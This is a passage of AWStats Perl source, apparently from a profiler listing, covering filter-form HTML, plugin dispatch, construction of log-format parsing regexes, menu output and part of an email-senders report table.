4891 print "<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}\" value=\"$fieldfilterinvalue\" class=\"aws_formfield\" /></td>\n";
4892 print "<td> &nbsp; </td>";
4893 print "<td align=\"left\" width=\"100\">$Message[153]&nbsp;:</td>\n";
4894 print "<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}ex\" value=\"$fieldfilterexvalue\" class=\"aws_formfield\" /></td>\n";
4895 print "<td>";
4896 print "<input type=\"hidden\" name=\"output\" value=\"".join(',',keys %HTMLOutput)."\" />\n";
4897 if ($SiteConfig) { print "<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n"; }
4898 if ($DirConfig) { print "<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n"; }
4899 if ($QueryString =~ /(^|&|&amp;)year=(\d\d\d\d)/i) { print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n"; }
4900 if ($QueryString =~ /(^|&|&amp;)month=(\d\d)/i || $QueryString =~ /(^|&|&amp;)month=(all)/i) { print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n"; }
4901 if ($QueryString =~ /(^|&|&amp;)lang=(\w+)/i) { print "<input type=\"hidden\" name=\"lang\" value=\"$2\" />\n"; }
4902 if ($QueryString =~ /(^|&|&amp;)debug=(\d+)/i) { print "<input type=\"hidden\" name=\"debug\" value=\"$2\" />\n"; }
4903 if ($QueryString =~ /(^|&|&amp;)framename=(\w+)/i) { print "<input type=\"hidden\" name=\"framename\" value=\"$2\" />\n"; }
4904 print "<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" /></td>\n";
4905 print "<td> &nbsp; </td>";
4906 print "</tr></table>\n";
4907 print "</form>\n";
4908 print "<br />\n";
4909 print "\n";
4910 }
4911}
4912
4913#------------------------------------------------------------------------------
4914# Function: Write other user info (with help of plugin)
4915# Parameters: $user
4916# Input: $SiteConfig
4917# Output: URL link
4918# Return: None
4919#------------------------------------------------------------------------------
4920sub ShowUserInfo {
4921 my $user=shift;
4922 # Call to plugins' function ShowInfoUser
4923 foreach my $pluginname (sort keys %{$PluginsLoaded{'ShowInfoUser'}}) {
4924# my $function="ShowInfoUser_$pluginname('$user')";
4925# eval("$function");
4926 my $function="ShowInfoUser_$pluginname";
4927 &$function($user);
4928 }
4929}
4930
4931#------------------------------------------------------------------------------
4932# Function: Write other cluster info (with help of plugin)
4933# Parameters: $clusternb
4934# Input: $SiteConfig
4935# Output: Cluster info
4936# Return: None
4937#------------------------------------------------------------------------------
4938sub ShowClusterInfo {
4939 my $user=shift;
4940 # Call to plugins' function ShowInfoCluster
4941 foreach my $pluginname (sort keys %{$PluginsLoaded{'ShowInfoCluster'}}) {
4942# my $function="ShowInfoCluster_$pluginname('$user')";
4943# eval("$function");
4944 my $function="ShowInfoCluster_$pluginname";
4945 &$function($user);
4946 }
4947}
4948
4949#------------------------------------------------------------------------------
4950# Function: Write other host info (with help of plugin)
4951# Parameters: $host
4952# Input: $LinksToWhoIs $LinksToWhoIsIp
4953# Output: None
4954# Return: None
4955#------------------------------------------------------------------------------
4956sub ShowHostInfo {
4957 my $host=shift;
4958 # Call to plugins' function ShowInfoHost
4959 foreach my $pluginname (sort keys %{$PluginsLoaded{'ShowInfoHost'}}) {
4960# my $function="ShowInfoHost_$pluginname('$host')";
4961# eval("$function");
4962 my $function="ShowInfoHost_$pluginname";
4963 &$function($host);
4964 }
4965}
4966
4967#------------------------------------------------------------------------------
4968# Function: Write other url info (with help of plugin)
4969# Parameters: $url
4970# Input: %Aliases $MaxLengthOfShownURL $ShowLinksOnUrl $SiteDomain $UseHTTPSLinkForUrl
4971# Output: URL link
4972# Return: None
4973#------------------------------------------------------------------------------
4974sub ShowURLInfo {
4975 my $url=shift;
4976 my $nompage=CleanXSS($url);
4977
4978 # Call to plugins' function ShowInfoURL
4979 foreach my $pluginname (keys %{$PluginsLoaded{'ShowInfoURL'}}) {
4980# my $function="ShowInfoURL_$pluginname('$url')";
4981# eval("$function");
4982 my $function="ShowInfoURL_$pluginname";
4983 &$function($url);
4984 }
4985
4986 if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; }
4987 if ($ShowLinksOnUrl) {
4988 my $newkey=CleanXSS($url);
4989 if ($LogType eq 'W' || $LogType eq 'S') { # Web or streaming log file
4990 if ($newkey =~ /^http(s|):/i) { # URL seems to be extracted from a proxy log file
4991 print "<a href=\"".XMLEncode("$newkey")."\" target=\"url\">".XMLEncode($nompage)."</a>";
4992 }
4993 elsif ($newkey =~ /^\//) { # URL seems to be an url extracted from a web or wap server log file
4994 $newkey =~ s/^\/$SiteDomain//i;
4995 # Define urlprot
4996 my $urlprot='http';
4997 if ($UseHTTPSLinkForUrl && $newkey =~ /^$UseHTTPSLinkForUrl/) { $urlprot='https'; }
4998 print "<a href=\"".XMLEncode("$urlprot://$SiteDomain$newkey")."\" target=\"url\">".XMLEncode($nompage)."</a>";
4999 }
5000 else {
5001 print XMLEncode($nompage);
5002 }
5003 }
5004 elsif ($LogType eq 'F') { # Ftp log file
5005 print XMLEncode($nompage);
5006 }
5007 elsif ($LogType eq 'M') { # Smtp log file
5008 print XMLEncode($nompage);
5009 }
5010 else { # Other type log file
5011 print XMLEncode($nompage);
5012 }
5013 }
5014 else {
5015 print XMLEncode($nompage);
5016 }
5017}
5018
5019#------------------------------------------------------------------------------
5020# Function: Define value for PerlParsingFormat (used for regex log record parsing)
5021# Parameters: $LogFormat
5022# Input: -
5023# Output: $pos_xxx, @pos_extra, @fieldlib, $PerlParsingFormat
5024# Return: -
5025#------------------------------------------------------------------------------
5026
# spent 132µs within main::DefinePerlParsingFormat which was called # once (132µs+0) at line 6194
sub DefinePerlParsingFormat {
5027179.4e-55.5e-6 my $LogFormat=shift;
5028 $pos_vh = $pos_host = $pos_logname = $pos_date = $pos_tz = $pos_method = $pos_url = $pos_code = $pos_size = -1;
5029 $pos_referer = $pos_agent = $pos_query = $pos_gzipin = $pos_gzipout = $pos_compratio = -1;
5030 $pos_cluster = $pos_emails = $pos_emailr = $pos_hostr = -1;
5031 @pos_extra=();
5032 @fieldlib=();
5033 $PerlParsingFormat='';
5034 # Log records examples:
5035 # Apache combined: 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
5036 # Apache combined (408 error): my.domain.com - user [09/Jan/2001:11:38:51 -0600] "OPTIONS /mime-tmp/xxx file.doc HTTP/1.1" 408 - "-" "-"
5037 # Apache combined (408 error): 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "-" 408 - "-" "-"
5038 # Apache common_with_mod_gzip_info1: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_compression_ratio}npct.
5039 # Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct.
5040 # Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n)
5041 # IIS: 2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.htm
5042 # WebStar: 05/21/00 00:17:31 OK 200 212.242.30.6 Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) http://www.cover.dk/ "www.cover.dk" :Documentation:graphics:starninelogo.white.gif 1133
5043 # Squid extended: 12.229.91.170 - - [27/Jun/2002:03:30:50 -0700] "GET http://www.callistocms.com/images/printable.gif HTTP/1.1" 304 354 "-" "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0" TCP_REFRESH_HIT:DIRECT
5044 if ($Debug) { debug("Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')"); }
504512.0e-62.0e-6 if ($LogFormat =~ /^[1-6]$/) { # Pre-defined log format
5046111.6e-51.5e-6 if ($LogFormat eq '1' || $LogFormat eq '6') { # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"".
5047 # %u (user) is "([^\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "".
5048# $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
5049 $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
5050 $pos_host=0;$pos_logname=1;$pos_date=2;$pos_method=3;$pos_url=4;$pos_code=5;$pos_size=6;$pos_referer=7;$pos_agent=8;
5051 @fieldlib=('host','logname','date','method','url','code','size','referer','ua');
5052 }
5053 elsif ($LogFormat eq '2') { # Same than "date time c-ip cs-username cs-method cs-uri-stem sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)"
5054 $PerlParsingFormat="(\\S+ \\S+) (\\S+) (\\S+) (\\S+) (\\S+) ([\\d|-]+) ([\\d|-]+) \\S+ (\\S+) (\\S+)";
5055 $pos_date=0;$pos_host=1;$pos_logname=2;$pos_method=3;$pos_url=4;$pos_code=5;$pos_size=6;$pos_agent=7;$pos_referer=8;
5056 @fieldlib=('date','host','logname','method','url','code','size','ua','referer');
5057 }
5058 elsif ($LogFormat eq '3') {
5059 $PerlParsingFormat="([^\\t]*\\t[^\\t]*)\\t([^\\t]*)\\t([\\d|-]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t[^\\t]*\\t([^\\t]*)\\t([\\d]*)";
5060 $pos_date=0;$pos_method=1;$pos_code=2;$pos_host=3;$pos_agent=4;$pos_referer=5;$pos_url=6;$pos_size=7;
5061 @fieldlib=('date','method','code','host','ua','referer','url','size');
5062 }
5063 elsif ($LogFormat eq '4') { # Same than "%h %l %u %t \"%r\" %>s %b"
5064 # %u (user) is "(.+)" instead of "[^ ]+" because can contain space (Lotus Notes).
5065 $PerlParsingFormat="([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+)";
5066 $pos_host=0;$pos_logname=1;$pos_date=2;$pos_method=3;$pos_url=4;$pos_code=5;$pos_size=6;
5067 @fieldlib=('host','logname','date','method','url','code','size');
5068 }
5069 }
5070 else { # Personalized log format
5071 my $LogFormatString=$LogFormat;
5072 # Replacement for Notes format string that are not Apache
5073 $LogFormatString =~ s/%vh/%virtualname/g;
5074 # Replacement for Apache format string
5075 $LogFormatString =~ s/%v(\s)/%virtualname$1/g; $LogFormatString =~ s/%v$/%virtualname/g;
5076 $LogFormatString =~ s/%h(\s)/%host$1/g; $LogFormatString =~ s/%h$/%host/g;
5077 $LogFormatString =~ s/%l(\s)/%other$1/g; $LogFormatString =~ s/%l$/%other/g;
5078 $LogFormatString =~ s/\"%u\"/%lognamequot/g;
5079 $LogFormatString =~ s/%u(\s)/%logname$1/g; $LogFormatString =~ s/%u$/%logname/g;
5080 $LogFormatString =~ s/%t(\s)/%time1$1/g; $LogFormatString =~ s/%t$/%time1/g;
5081 $LogFormatString =~ s/\"%r\"/%methodurl/g;
5082 $LogFormatString =~ s/%>s/%code/g;
5083 $LogFormatString =~ s/%b(\s)/%bytesd$1/g; $LogFormatString =~ s/%b$/%bytesd/g;
5084 $LogFormatString =~ s/\"%{Referer}i\"/%refererquot/g;
5085 $LogFormatString =~ s/\"%{User-Agent}i\"/%uaquot/g;
5086 $LogFormatString =~ s/%{mod_gzip_input_size}n/%gzipin/g;
5087 $LogFormatString =~ s/%{mod_gzip_output_size}n/%gzipout/g;
5088 $LogFormatString =~ s/%{mod_gzip_compression_ratio}n/%gzipratio/g;
5089 $LogFormatString =~ s/\(%{ratio}n\)/%deflateratio/g;
5090 # Replacement for a IIS and ISA format string
5091 $LogFormatString =~ s/cs-uri-query/%query/g; # Must be before cs-uri
5092 $LogFormatString =~ s/date\stime/%time2/g;
5093 $LogFormatString =~ s/c-ip/%host/g;
5094 $LogFormatString =~ s/cs-username/%logname/g;
5095 $LogFormatString =~ s/cs-method/%method/g; # GET, POST, SMTP, RETR STOR
5096 $LogFormatString =~ s/cs-uri-stem/%url/g; $LogFormatString =~ s/cs-uri/%url/g;
5097 $LogFormatString =~ s/sc-status/%code/g;
5098 $LogFormatString =~ s/sc-bytes/%bytesd/g;
5099 $LogFormatString =~ s/cs-version/%other/g; # Protocol
5100 $LogFormatString =~ s/cs\(User-Agent\)/%ua/g; $LogFormatString =~ s/c-agent/%ua/g;
5101 $LogFormatString =~ s/cs\(Referer\)/%referer/g; $LogFormatString =~ s/cs-referred/%referer/g;
5102 $LogFormatString =~ s/sc-authenticated/%other/g;
5103 $LogFormatString =~ s/s-svcname/%other/g;
5104 $LogFormatString =~ s/s-computername/%other/g;
5105 $LogFormatString =~ s/r-host/%virtualname/g;
5106 $LogFormatString =~ s/cs-host/%virtualname/g;
5107 $LogFormatString =~ s/r-ip/%other/g;
5108 $LogFormatString =~ s/r-port/%other/g;
5109 $LogFormatString =~ s/time-taken/%other/g;
5110 $LogFormatString =~ s/cs-bytes/%other/g;
5111 $LogFormatString =~ s/cs-protocol/%other/g;
5112 $LogFormatString =~ s/cs-transport/%other/g;
5113 $LogFormatString =~ s/s-operation/%method/g; # GET, POST, SMTP, RETR STOR
5114 $LogFormatString =~ s/cs-mime-type/%other/g;
5115 $LogFormatString =~ s/s-object-source/%other/g;
5116 $LogFormatString =~ s/s-cache-info/%other/g;
5117 $LogFormatString =~ s/cluster-node/%cluster/g;
5118 # Added for MMS
5119 $LogFormatString =~ s/protocol/%protocolmms/g; # cs-method might not be available
5120 $LogFormatString =~ s/c-status/%codemms/g; # c-status used when sc-status not available
5121 if ($Debug) { debug(" LogFormatString=$LogFormatString"); }
5122 # $LogFormatString has an AWStats format, so we can generate PerlParsingFormat variable
5123 my $i = 0;
5124 my $LogSeparatorWithoutStar=$LogSeparator; $LogSeparatorWithoutStar =~ s/[\*\+]//g;
5125 foreach my $f (split(/\s+/,$LogFormatString)) {
5126 # Add separator for next field
5127 if ($PerlParsingFormat) { $PerlParsingFormat.="$LogSeparator"; }
5128 # Special for logname
5129 if ($f =~ /%lognamequot$/) {
5130 $pos_logname = $i; $i++; push @fieldlib, 'logname';
5131 $PerlParsingFormat .= "\\\"?([^\\\"]*)\\\"?"; # logname can be "value", "" and - in same log (Lotus notes)
5132 }
5133 # Date format
5134 elsif ($f =~ /%time1$/ || $f =~ /%time1b$/) { # [dd/mmm/yyyy:hh:mm:ss +0000] or [dd/mmm/yyyy:hh:mm:ss], time1b kept for backward compatibility
5135 $pos_date = $i; $i++; push @fieldlib, 'date';
5136 $pos_tz = $i; $i++; push @fieldlib, 'tz';
5137 $PerlParsingFormat .= "\\[([^$LogSeparatorWithoutStar]+)( [^$LogSeparatorWithoutStar]+)?\\]";
5138 }
5139 elsif ($f =~ /%time2$/) { # yyyy-mm-dd hh:mm:ss
5140 $pos_date = $i; $i++; push @fieldlib, 'date';
5141 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+\\s[^$LogSeparatorWithoutStar]+)"; # Need \s for Exchange log files
5142 }
5143 elsif ($f =~ /%time3$/) { # mon d hh:mm:ss or mon d hh:mm:ss or mon dd hh:mm:ss yyyy or day mon dd hh:mm:ss or day mon dd hh:mm:ss yyyy
5144 $pos_date = $i; $i++; push @fieldlib, 'date';
5145 $PerlParsingFormat .= "(?:\\w\\w\\w )?(\\w\\w\\w \\s?\\d+ \\d\\d:\\d\\d:\\d\\d(?: \\d\\d\\d\\d)?)";
5146 }
5147 elsif ($f =~ /%time4$/) { # ddddddddddddd
5148 $pos_date = $i; $i++; push @fieldlib, 'date';
5149 $PerlParsingFormat .= "(\\d+)";
5150 }
5151 # Special for methodurl and methodurlnoprot
5152 elsif ($f =~ /%methodurl$/) {
5153 $pos_method = $i; $i++; push @fieldlib, 'method';
5154 $pos_url = $i; $i++; push @fieldlib, 'url';
5155 $PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\"";
5156 }
5157 elsif ($f =~ /%methodurlnoprot$/) {
5158 $pos_method = $i; $i++; push @fieldlib, 'method';
5159 $pos_url = $i; $i++; push @fieldlib, 'url';
5160 $PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)\\\"";
5161 }
5162 # Common command tags
5163 elsif ($f =~ /%virtualnamequot$/) {
5164 $pos_vh = $i; $i++; push @fieldlib, 'vhost';
5165 $PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+)\\\"";
5166 }
5167 elsif ($f =~ /%virtualname$/) {
5168 $pos_vh = $i; $i++; push @fieldlib, 'vhost';
5169 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5170 }
5171 elsif ($f =~ /%host_r$/) {
5172 $pos_hostr = $i; $i++; push @fieldlib, 'hostr';
5173 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5174 }
5175 elsif ($f =~ /%host$/) {
5176 $pos_host = $i; $i++; push @fieldlib, 'host';
5177 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5178 }
5179 elsif ($f =~ /%logname$/) {
5180 $pos_logname = $i; $i++; push @fieldlib, 'logname';
5181 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5182 }
5183 elsif ($f =~ /%method$/) {
5184 $pos_method = $i; $i++; push @fieldlib, 'method';
5185 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5186 }
5187 elsif ($f =~ /%url$/) {
5188 $pos_url = $i; $i++; push @fieldlib, 'url';
5189 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5190 }
5191 elsif ($f =~ /%query$/) {
5192 $pos_query = $i; $i++; push @fieldlib, 'query';
5193 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5194 }
5195 elsif ($f =~ /%code$/) {
5196 $pos_code = $i; $i++; push @fieldlib, 'code';
5197 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5198 }
5199 elsif ($f =~ /%bytesd$/) {
5200 $pos_size = $i; $i++; push @fieldlib, 'size';
5201 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5202 }
5203 elsif ($f =~ /%refererquot$/) {
5204 $pos_referer = $i; $i++; push @fieldlib, 'referer';
5205 $PerlParsingFormat .= "\\\"([^\\\"]*)\\\""; # referer might be ""
5206 }
5207 elsif ($f =~ /%referer$/) {
5208 $pos_referer = $i; $i++; push @fieldlib, 'referer';
5209 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5210 }
5211 elsif ($f =~ /%uaquot$/) {
5212 $pos_agent = $i; $i++; push @fieldlib, 'ua';
5213 $PerlParsingFormat .= "\\\"([^\\\"]*)\\\""; # ua might be ""
5214 }
5215 elsif ($f =~ /%uabracket$/) {
5216 $pos_agent = $i; $i++; push @fieldlib, 'ua';
5217 $PerlParsingFormat .= "\\\[([^\\\]]*)\\\]"; # ua might be []
5218 }
5219 elsif ($f =~ /%ua$/) {
5220 $pos_agent = $i; $i++; push @fieldlib, 'ua';
5221 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5222 }
5223 elsif ($f =~ /%gzipin$/ ) {
5224 $pos_gzipin=$i;$i++; push @fieldlib, 'gzipin';
5225 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5226 }
5227 elsif ($f =~ /%gzipout/ ) { # Compare $f to /%gzipout/ and not to /%gzipout$/ like other fields
5228 $pos_gzipout=$i;$i++; push @fieldlib, 'gzipout';
5229 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5230 }
5231 elsif ($f =~ /%gzipratio/ ) { # Compare $f to /%gzipratio/ and not to /%gzipratio$/ like other fields
5232 $pos_compratio=$i;$i++; push @fieldlib, 'gzipratio';
5233 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5234 }
5235 elsif ($f =~ /%deflateratio/ ) { # Compare $f to /%deflateratio/ and not to /%deflateratio$/ like other fields
5236 $pos_compratio=$i;$i++; push @fieldlib, 'deflateratio';
5237 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5238 }
5239 elsif ($f =~ /%email_r$/) {
5240 $pos_emailr = $i; $i++; push @fieldlib, 'email_r';
5241 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5242 }
5243 elsif ($f =~ /%email$/) {
5244 $pos_emails = $i; $i++; push @fieldlib, 'email';
5245 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5246 }
5247 elsif ($f =~ /%cluster$/) {
5248 $pos_cluster = $i; $i++; push @fieldlib, 'clusternb';
5249 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5250 }
5251 elsif ($f =~ /%timetaken$/) {
5252 $pos_timetaken = $i; $i++; push @fieldlib, 'timetaken';
5253 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5254 }
5255 # Special for protocolmms, used for method if method not already found (for MMS)
5256 elsif ($f =~ /%protocolmms$/) {
5257 if ($pos_method < 0) {
5258 $pos_method = $i; $i++; push @fieldlib, 'method';
5259 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5260 }
5261 }
5262 # Special for codemms, used for code only if code not already found (for MMS)
5263 elsif ($f =~ /%codemms$/) {
5264 if ($pos_code < 0) {
5265 $pos_code = $i; $i++; push @fieldlib, 'code';
5266 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5267 }
5268 }
5269 # Extra tag
5270 elsif ($f =~ /%extra(\d+)$/) {
5271 $pos_extra[$1] = $i; $i++; push @fieldlib, "extra$1";
5272 $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
5273 }
5274 # Other tag
5275 elsif ($f =~ /%other$/) {
5276 $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
5277 }
5278 elsif ($f =~ /%otherquot$/) {
5279 $PerlParsingFormat .= "\\\"[^\\\"]*\\\"";
5280 }
5281 # Unknown tag (no parenthesis)
5282 else {
5283 $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
5284 }
5285 }
5286 if (! $PerlParsingFormat) { error("No recognized format tag in personalized LogFormat string"); }
5287 }
5288 if ($pos_host < 0) { error("Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)."); }
5289 if ($pos_date < 0) { error("Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)."); }
5290 if ($pos_method < 0) { error("Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)."); }
5291 if ($pos_url < 0) { error("Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)."); }
5292 if ($pos_code < 0) { error("Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)."); }
5293 if ($pos_size < 0) { error("Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)."); }
5294 $PerlParsingFormat=qr/^$PerlParsingFormat/;
5295 if ($Debug) { debug(" PerlParsingFormat is $PerlParsingFormat"); }
5296}
5297
5298
5299sub ShowMenuCateg {
5300 my ($categ,$categtext,$categicon,$frame,$targetpage,$linkanchor,$NewLinkParams,$NewLinkTarget)=(shift,shift,shift,shift,shift,shift,shift,shift);
5301 $categicon=''; # Comment this to enabme category icons
5302 my ($menu,$menulink,$menutext)=(shift,shift,shift);
5303 my $linetitle=0;
5304 # Call to plugins' function AddHTMLMenuLink
5305 foreach my $pluginname (keys %{$PluginsLoaded{'AddHTMLMenuLink'}}) {
5306# my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)";
5307# eval("$function");
5308 my $function="AddHTMLMenuLink_$pluginname";
5309 &$function($categ,$menu,$menulink,$menutext);
5310 }
5311 foreach my $key (%$menu) { if ($menu->{$key} && $menu->{$key} > 0) { $linetitle++; last; } }
5312 if (! $linetitle) { return; }
5313 # At least one entry in menu for this category, we can show categpry and entries
5314 my $WIDTHMENU1=($FrameName eq 'mainleft'?$FRAMEWIDTH:150);
5315 print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\"".($frame?"":" valign=\"top\"").">".($categicon?"<img src=\"$DirIcons/other/$categicon\" />&nbsp;":"")."<b>$categtext:</b></td>\n";
5316 print ($frame?"</tr>\n":"<td class=\"awsm\">");
5317 foreach my $key (sort { $menu->{$a} <=> $menu->{$b} } keys %$menu) {
5318 if ($menu->{$key}==0) { next; }
5319 if ($menulink->{$key}==1) { print ($frame?"<tr><td class=\"awsm\">":""); print "<a href=\"$linkanchor#$key\"$targetpage>$menutext->{$key}</a>"; print ($frame?"</td></tr>\n":" &nbsp; "); }
5320 if ($menulink->{$key}==2) { print ($frame?"<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> ":""); print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=$key"):"$PROG$StaticLinks.$key.$StaticExt")."\"$NewLinkTarget>$menutext->{$key}</a>\n"; print ($frame?"</td></tr>\n":" &nbsp; "); }
5321 }
5322 print ($frame?"":"</td></tr>\n");
5323}
5324
5325
5326sub ShowEmailSendersChart {
5327 my $NewLinkParams=shift;
5328 my $NewLinkTarget=shift;
5329 my $MaxLengthOfShownEMail=48;
5330
5331 my $total_p;my $total_h;my $total_k;
5332 my $max_p;my $max_h;my $max_k;
5333 my $rest_p;my $rest_h;my $rest_k;
5334
5335 # Show filter form
5336 #&ShowFormFilter("emailsfilter",$EmailsFilter);
5337 # Show emails list
5338
5339 print "$Center<a name=\"emailsenders\">&nbsp;</a><br />\n";
5340 my $title;
5341 if ($HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'}) {
5342 $title="$Message[131]";
5343 }
5344 else {
5345 $title="$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'}) &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=allemails"):"$PROG$StaticLinks.allemails.$StaticExt")."\"$NewLinkTarget>$Message[80]</a>";
5346 if ($ShowEMailSenders =~ /L/i) { $title.=" &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=lastemails"):"$PROG$StaticLinks.lastemails.$StaticExt")."\"$NewLinkTarget>$Message[9]</a>"; }
5347 }
5348 &tab_head("$title",19,0,'emailsenders');
5349 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[131] : ".(scalar keys %_emails_h)."</th>";
5350 if ($ShowEMailSenders =~ /H/i) { print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\"".Tooltip(4).">$Message[57]</th>"; }
5351 if ($ShowEMailSenders =~ /B/i) { print "<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\"".Tooltip(5).">$Message[75]</th>"; }
5352 if ($ShowEMailSenders =~ /M/i) { print "<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; }
5353 if ($ShowEMailSenders =~ /L/i) { print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>"; }
5354 print "</tr>\n";
5355 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th>&nbsp;</th><th width=\"30%\">External</th></tr>";
5356 $total_p=$total_h=$total_k=0;
5357 $max_h=1; foreach (values %_emails_h) { if ($_ > $max_h) { $max_h = $_; } }
5358 $max_k=1; foreach (values %_emails_k) { if ($_ > $max_k) { $max_k = $_; } }
5359 my $count=0;
5360 if (! $HTMLOutput{'allemails'} && ! $HTMLOutput{'lastemails'}) { &BuildKeyList($MaxNbOf{'EMailsShown'},$MinHit{'EMail'},\%_emails_h,\%_emails_h); }
5361 if ($HTMLOutput{'allemails'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'EMail'},\%_emails_h,\%_emails_h); }
5362 if ($HTMLOutput{'lastemails'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'EMail'},\%_emails_h,\%_emails_l); }
5363 foreach my $key (@keylist) {
5364 my $newkey=$key;
5365 if (length($key)>$MaxLengthOfShownEMail) { $newkey=substr($key,0,$MaxLengthOfShownEMail)."..."; }
5366 my $bredde_h=0;my $bredde_k=0;
5367 if ($max_h > 0) { $bredde_h=int($BarWidth*$_emails_h{$key}/$max_h)+1; }
5368 if ($max_k > 0) { $bredde_k=int($BarWidth*$_emails_k{$key}/$max_k)+1; }
5369 print "<tr>";
5370 my $direction=IsLocalEMail($key);
5371 if ($direction > 0) { print "<td class=\"aws\">$newkey</td><td>-&gt;</td><td>&nbsp;</td>"; }
5372 if ($direction == 0) { print "<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>"; }
5373 if ($direction < 0) { print "<td class=\"aws\">&nbsp;</td><td>&lt;-</td><td>$newkey</td>"; }
